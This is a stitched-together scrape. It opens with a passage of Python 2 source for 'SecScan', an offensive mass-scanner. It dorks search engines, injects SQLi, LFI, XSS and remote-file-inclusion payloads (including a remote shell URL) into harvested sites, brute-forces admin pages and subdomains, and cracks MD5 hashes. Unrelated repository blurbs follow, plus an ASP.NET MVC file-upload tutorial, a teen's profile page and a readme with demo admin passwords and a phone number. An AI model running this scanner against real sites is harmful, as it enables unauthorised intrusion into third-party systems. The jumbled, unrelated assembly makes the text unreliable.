i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count < numlinks: start = source.find('_t" href', start, end) end = source.find(' onmousedown="return pk', start, end) link = source[start+10:end-1].replace("amp;","") self.queue.put(link) start = end end = len(source) count = count + 1 self.page += 1 if option == '1': for i in range(10): thread = ScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '2': for i in range(10): thread = LScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '3': for i in range(10): thread = XScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '4': for i in range(10): thread = RScanClass(self.queue, self.shell) thread.setDaemon(True) thread.start() self.queue.join() class ScanClass(threading.Thread): """Scans for Sql errors and ouputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.schar = "'" self.file = 'sqli.txt' def run(self): """Scans Url for Sql errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np test = site + self.schar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("error in your SQL syntax", data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('oracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('system.data.oledb', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('SQL command net properly ended', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('atoracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('java.sql.sqlexception', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('query failed:', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('postgresql.util.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_fetch', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Error:unknown', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database Engine', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Microsoft OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_numrows', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('mysql_num', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Invalid Query', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('FetchRow', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Syntax error', data, re.I)): self.mssql(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def mysql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + W+url else: print O+"MySql: " + url + W write = open(self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() def mssql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file).read() if url in read: print G+'Dupe: ' + url + W else: print O+"MsSql: " + url + W write = open (self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() class LScanClass(threading.Thread): """Scans for Lfi errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.file = 'lfi.txt' self.queue = queue self.lchar = '../' def run(self): """Checks Url for File Inclusion errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: lsite = site.rsplit('=', 1)[0] if lsite[-1] != "=": lsite = lsite + "=" test = lsite + self.lchar global vuln global invuln global np try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("failed to open stream: No such file or directory", data, re.I)): self.lfi(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def lfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Lfi: " + url + W write = open(self.file, "a+") write.write('[LFI]: ' + url + "\n") write.close() class XScanClass(threading.Thread): """Scan for Xss errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.xchar = """<ScRIpT>alert('xssBYm0le');</ScRiPt>""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def xss(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Xss: " + url + W write = open(self.file, "a+") write.write('[XSS]: ' + url + "\n") write.close() class RScanClass(threading.Thread): """Scans for Rfi errors and outputs to file""" def __init__(self, queue, shell): threading.Thread.__init__(self) self.queue = queue self.file = 'rfi.txt' self.shell = shell def run(self): """Checks Url for Remote File Inclusion vulnerability""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np rsite = site.rsplit('=', 1)[0] if rsite[-1] != "=": rsite = rsite + "=" link = rsite + self.shell + '?' try: conn = urllib2.Request(link) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall('uname -a', data, re.I)): self.rfi(link) vuln += 1 else: print B+link + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def rfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Rfi: " + url + W write = open(self.file, "a+") write.write('[Rfi]: ' + url + "\n") write.close() class Atest(threading.Thread): """Checks given site for Admin Pages/Dirs""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Admin Page/Dir exists""" while True: try: site = self.queue.get(False) except Queue.Empty: break try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) print site found.append(site) self.queue.task_done() except urllib2.URLError: self.queue.task_done() def admin(): """Create queue and threads for admin page scans""" print 'Need to include http:// and ending /\n' site = raw_input('Site: ') queue = Queue.Queue() dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php', 'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php', 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html', 'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php', 'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php', 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php', 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php','admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/'] for add in dirs: test = site + add queue.put(test) for i in range(20): thread = Atest(queue) thread.setDaemon(True) thread.start() queue.join() def aprint(): """Print results of admin page scans""" print 'Search Finished\n' if len(found) == 0: print 'No pages found' else: for site in found: print O+'Found: ' + G+site + W class SDtest(threading.Thread): """Checks given Domain for Sub Domains""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Sub Domain responds""" while True: try: domain = self.queue.get(False) except Queue.Empty: break try: site = 'http://' + domain conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) except urllib2.URLError: self.queue.task_done() else: target = socket.gethostbyname(domain) print 'Found: ' + site + ' - ' + target self.queue.task_done() def subd(): """Create queue and threads for sub domain scans""" queue = Queue.Queue() site = raw_input('Domain: ') sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca", "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro", "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana", "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange", "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford", "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d", "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa", "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil", "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere", "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research", "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping", "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads", "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1", "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"] for check in sub: test = check + '.' + site queue.put(test) for i in range(20): thread = SDtest(queue) thread.setDaemon(True) thread.start() queue.join() class Cracker(threading.Thread): """Use a wordlist to try and brute the hash""" def __init__(self, queue, hashm): threading.Thread.__init__(self) self.queue = queue self.hashm = hashm def run(self): """Hash word and check against hash""" while True: try: word = self.queue.get(False) except Queue.Empty: break tmp = hashlib.md5(word).hexdigest() if tmp == self.hashm: self.result(word) self.queue.task_done() def result(self, words): """Print result if found""" print self.hashm + ' = ' + words def word(): """Create queue and threads for hash crack""" queue = Queue.Queue() wordlist = raw_input('Wordlist: ') hashm = raw_input('Enter Md5 hash: ') read = open(wordlist) for words in read: words = words.replace("\n","") queue.put(words) read.close() for i in range(5): thread = Cracker(queue, hashm) thread.setDaemon(True) thread.start() queue.join() class OnlineCrack: """Use online service to check for hash""" def crack(self): """Connect and check hash""" hashm = raw_input('Enter MD5 Hash: ') conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm)) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() if data == 'No results returned.': print '\n- Not found or not valid -' else: print '\n- %s -' % (data) class Check: """Check your current IP address""" def grab(self): """Connect to site and grab IP""" site = 'http://www.tracemyip.org/' try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() start = 0 end = len(data) start = data.find('onClick="', start, end) end = data.find('size=', start, end) ip_add = data[start+46:end-2].strip() print '\nYour current Ip address is %s' % (ip_add) except urllib2.HTTPError: print 'Error connecting' def output(): """Outputs dork scan results to screen""" print '\n>> ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\nm0le@tormail.org\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main()

A Sentinel-2 based CNN to predict the demographics of US capital cities and to determine spectral bands of demographic importance

some Demos of LibUsbDotNet

No description available

No description available

This repository contains codebase and datafiles for the project titled "Geo demographic Segmentation using Artificial Neural Networks "

This exploit was demonstrated in the talk "(DE)SERIAL KILLERS" in BSides Las Vegas 2018. It demonstrates exploitation against demo code provided by Microsoft for BinaryMessageFormatter, at https://msdn.microsoft.com/en-us/library/system.messaging.binarymessageformatter(v=vs.110).aspx in .NET 4.5

This exploit was demonstrated in the talk "(DE)SERIAL KILLERS" in BSides Las Vegas 2018. It demonstrates exploitation in .NET 3.5 against demo code provided by Microsoft for BinaryMessageFormatter, at https://msdn.microsoft.com/en-us/library/system.messaging.binarymessageformatter(v=vs.110).aspx and the LargeMessageQueue demo app by Microsoft at https://github.com/Microsoft/Windows-classic-samples/tree/master/Samples/Win7Samples/netds/messagequeuing/LargeMessageQueue/CS

Project house is a warehouse of more than 100+ projects in all platforms focused on effectively helping understudies with quality, well-informed, dependable and project ideas and task materials that helps the projects for computer science engineering students of final year to make a good academic project and improving their project ideas.This website not only helps you to choose a project but also provides step by step instructions on how to make it happen by providing abstract, demo videos and screenshots and also an option to upload your individual project. The top project categories are python, unity, machine learning, android, .net, java and php. All software projects are exploring IEEE Papers. We provide all the documents regarding the projects. And the code deployment will also be given to you. All the software needed to the project will be given by us. You just do one thing; Pick a project that matches your interest and then you can request to the administrator for that project then administrator group will reach you for further procedures. We help you to identify the best project for you. Project house also helps to identify free internship for final year Computer science and Information science students and job training facility.http://projecthouse.store/

Many times, we need to work with the file and storing the physical files on the Server, which is very difficult because it will consume lots of physical hard disc space of the Server. Thus, in this article, we will learn, how to upload and download the files directly from the database in ASP.NET MVC. Thus, let's learn step by step so the beginners can also understand. Step 1 - Create MVC Application. Now, let us start with a step by step approach from the creation of a simple MVC Application in the following- "Start", followed by "All Programs" and select "Microsoft Visual Studio 2015". Click "File", followed by "New" and click "Project". Select "ASP.NET Web Application Template", provide the Project a name as you wish and click OK. After clicking, the following Window will appear, Step 2 - Create Model Class Now, let us create the model class file, named EmpModel.cs, by right clicking on Models folder and define the following properties in EmpModel.cs class and FileDetailsModel as: The code snippet of EmpModel.cs and FileDetailsModel .cs will look like- public class EmpModel { [Required] [DataType(DataType.Upload)] [Display(Name ="Select File")] public HttpPostedFileBase files { get; set; } } public class FileDetailsModel { public int Id { get; set; } [Display(Name = "Uploaded File")] public String FileName { get; set; } public byte[] FileContent { get; set; } } Step 3 - Create Table and Stored Procedure Now, create the stored procedure and the table to store the uploaded files in binary format and display back to the user's view. Use the script, given below, to create the table named FileDetails as- CREATE TABLE [dbo].[FileDetails]( [Id] [int] IDENTITY(1,1) NOT NULL, [FileName] [varchar](60) NULL, [FileContent] [varbinary](max) NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] As mentioned in the preceding table script, we have created three columns Id, which is to identify the files unique key. FileName to store uploaded file name and FileContent to store the uploaded file contents in the binary format. Create the stored procedure to insert the file details, using the script, given below- Create Procedure [dbo].[AddFileDetails] ( @FileName varchar(60), @FileContent varBinary(Max) ) as begin Set NoCount on Insert into FileDetails values(@FileName,@FileContent) End To get the uploaded file details, use the code, given below- CREATE Procedure [dbo].[GetFileDetails] ( @Id int=null ) as begin select Id,FileName,FileContent from FileDetails where Id=isnull(@Id,Id) End We have created the tables and stored procedures. I hope, you have created the same. Step 4 - Add Controller Class Now, let us add ASP.NET MVC controller, as shown in the screenshot, given below- After clicking Add button, it will show in the Window. Specify the Controller name as Home with suffix Controller. Now, let's modify the default code of Home controller . After modifying the code of Homecontroller class, the code will look like- HomeController.cs using FileUploadDownLoadInMVC.Models; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Web; using System.Web.Mvc; using Dapper; using System.Configuration; using System.Data.SqlClient; using System.Data; namespace FileUploadDownLoadInMVC.Controllers { public class HomeController : Controller { #region Upload Download file public ActionResult FileUpload() { return View(); } [HttpPost] public ActionResult FileUpload(HttpPostedFileBase files) { String FileExt=Path.GetExtension(files.FileName).ToUpper(); if (FileExt == ".PDF") { Stream str = files.InputStream; BinaryReader Br = new BinaryReader(str); Byte[] FileDet = Br.ReadBytes((Int32)str.Length); FileDetailsModel Fd = new Models.FileDetailsModel(); Fd.FileName = files.FileName; Fd.FileContent = FileDet; SaveFileDetails(Fd); return RedirectToAction("FileUpload"); } else { ViewBag.FileStatus = "Invalid file format."; return View(); } } [HttpGet] public FileResult DownLoadFile(int id) { List<FileDetailsModel> ObjFiles = GetFileList(); var FileById = (from FC in ObjFiles where FC.Id.Equals(id) select new { FC.FileName, FC.FileContent }).ToList().FirstOrDefault(); return File(FileById.FileContent, "application/pdf", FileById.FileName); } #endregion #region View Uploaded files [HttpGet] public PartialViewResult FileDetails() { List<FileDetailsModel> DetList = GetFileList(); return PartialView("FileDetails", DetList); } private List<FileDetailsModel> GetFileList() { List<FileDetailsModel> DetList = new List<FileDetailsModel>(); DbConnection(); con.Open(); DetList = SqlMapper.Query<FileDetailsModel>(con, "GetFileDetails", commandType: CommandType.StoredProcedure).ToList(); con.Close(); return DetList; } #endregion #region Database related operations private void SaveFileDetails(FileDetailsModel objDet) { DynamicParameters Parm = new DynamicParameters(); Parm.Add("@FileName", objDet.FileName); Parm.Add("@FileContent", objDet.FileContent); DbConnection(); con.Open(); con.Execute("AddFileDetails", Parm, commandType: System.Data.CommandType.StoredProcedure); con.Close(); } #endregion #region Database connection private SqlConnection con; private string constr; private void DbConnection() { constr =ConfigurationManager.ConnectionStrings["dbcon"].ToString(); con = new SqlConnection(constr); } #endregion } } The preceding code snippet explained everything to upload and download PDF files from the database. I hope, you have followed the same. Step 5 - Create strongly typed View Right click on View folder of the created Application and create two strongly typed views; one is to upload the files by choosing EmpModel.cs class and Partial View by choosing FileDetailsModel class to display the uploaded files. The code snippet of the view looks like- FileUpload.cshtml @model FileUploadDownLoadInMVC.Models.EmpModel @{ ViewBag.Title = "www.compilemode.com"; } @using (Html.BeginForm("FileUpload", "Home", FormMethod.Post, new { enctype = "multipart/form-data" })) { @Html.AntiForgeryToken() <div class="form-horizontal"> <hr /> @Html.ValidationSummary(true, "", new { @class = "text-danger" }) <div class="form-group"> @Html.LabelFor(model => model.files, htmlAttributes: new { @class = "control-label col-md-2" }) <div class="col-md-10"> @Html.TextBoxFor(model => model.files, "", new { @type = "file", @multiple = "multiple" }) @Html.ValidationMessageFor(model => model.files, "", new { @class = "text-danger" }) </div> </div> <div class="form-group"> <div class="col-md-offset-2 col-md-10"> <input type="submit" value="Upload" class="btn btn-primary" /> </div> </div> <div class="form-group"> <div class="col-md-offset-2 col-md-10 text-success"> @ViewBag.FileStatus </div> </div> <div class="form-group"> <div class="col-md-8"> @Html.Action("FileDetails", "Home") </div> </div> </div> } <script src="~/Scripts/jquery-1.10.2.min.js"></script> <script src="~/Scripts/jquery.validate.min.js"></script> <script src="~/Scripts/jquery.validate.unobtrusive.min.js"></script> FileDetails.cshtml @model IEnumerable<FileUploadDownLoadInMVC.Models.FileDetailsModel> <table class="table table-bordered"> <tr> <th class="col-md-4"> @Html.DisplayNameFor(model => model.FileName) </th> <th class="col-md-2"></th> </tr> @foreach (var item in Model) { <tr> <td> @Html.DisplayFor(modelItem => item.FileName) </td> <td> @Html.ActionLink("Downlaod", "DownLoadFile", new { id=item.Id }) </td> </tr> } </table> Now, we have done all the coding. Step 6 - Run the Application After running the Application, the UI of the Application will look like as follows- Now select PDF file from your system and click Upload button. It will upload the file in the database and display back to the view is as follows- Now, see the image, given below, of the table, which shows how the preceding uploaded file data is stored as- From the preceding image, its clear that our uploaded file is stored into the database in the binary format. Now, click download button and it will show the following popup as- Now, choose, whether to open the file or save the file according to your convenience. After opening the file, it will show the following contents, based on the uploaded file as- I hope, from the preceding examples, you have learned, how to upload and download PDF files from the database In ASP.NET MVC, using FileResult. Note Its important to define enctype = "multipart/form-data" in form action, else the value will be null in the controller. Makes changes in web.config file connectionstring tag, based on your database location and configuration. Since this is a demo, it might not be using the proper standards. Thus, improve it, depending on your skills.

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The demo about sending file: C# winform, TCP with client-server model, using socket, stream, networkstream to send message and file between server and client

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This is the project solution for Winter 2019 for Communication Systems at UCLA!

In this demo I use kendo grid with asp.net mvc c# using jquery, I use custome filtering and template in this grid, I use pagination, filter and sorting client side.

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## Welcome to my site ``` Hi, I'm 7TE. I like messing with computers and doing stuff From ➢ US Age ➢ 15 Hobby ➢ Coding/Gaming Website ➢ https://cegledi.net/ Hotel? ➢ Trivago ``` Ways to contact me: Twitter: [@7TE](https://twitter.com/_7TE_) Reddit: [@7TE__](https://www.reddit.com/user/7TE__) Discord Github Heres some pretty cool things: [HomeTerm](https://hometerm.dev/) [Zwei Startpage](https://startpage-zwei.vercel.app) [Bento](https://migueravila.github.io/Bento/) [Dashy](https://demo.dashy.to/) [Fluidity](https://prettycoffee.github.io/fluidity/) [StartCube](https://rice.capuno.cat/Archive/NotRice/websites/startpages/startcube/index.html)

--- Developer: Mark Angelo Gonzales ------------------------------- ###Contacts Mobile : 09063387451 Email : gonzalesmarkangeloph@gmail.com Facebook : https://www.facebook.com/chromaticph Temporary-Website: http://gonzalesmarkangeloph.dx.am/ ##########--APPLICATIONS--############ PROCEDURAL: MOVIE RESERVATION ADMINISTRATOR: USER: demoadmin@demo.com PASSWORD: chromaticph ---------------------------------- IMPORTANT: CHECK THE MVC CONFIFURATION FOLDER (MVC_CONFIG). MVC : CAKEORDERING SYSTEM ADMINISTRATOR: USER: demoadmin@demo.com PASSWORD: chromaticph ------- --for any one who wants the new version of our mvc template come and contanct me and i will send it to you. ----------------------------------- TIPS: check the helpers folders on mvc to check pre build classes to speed up your development. most useful helpers are the ff. -Sessions. ;session handlers -Flash. ;screen pop up message -File. ;file uploader and many more. ------------------------------------------------------- REFERENCES / TOOLS FOR PROGRAMMING --------------------------------------- #Designs https://www.pexels.com/search/trains/ https://fonts.google.com/ https://bootswatch.com/ https://semantic-ui.com/ https://datatables.net/ #Free hostings https://infinityfree.net/ https://www.awardspace.com/ 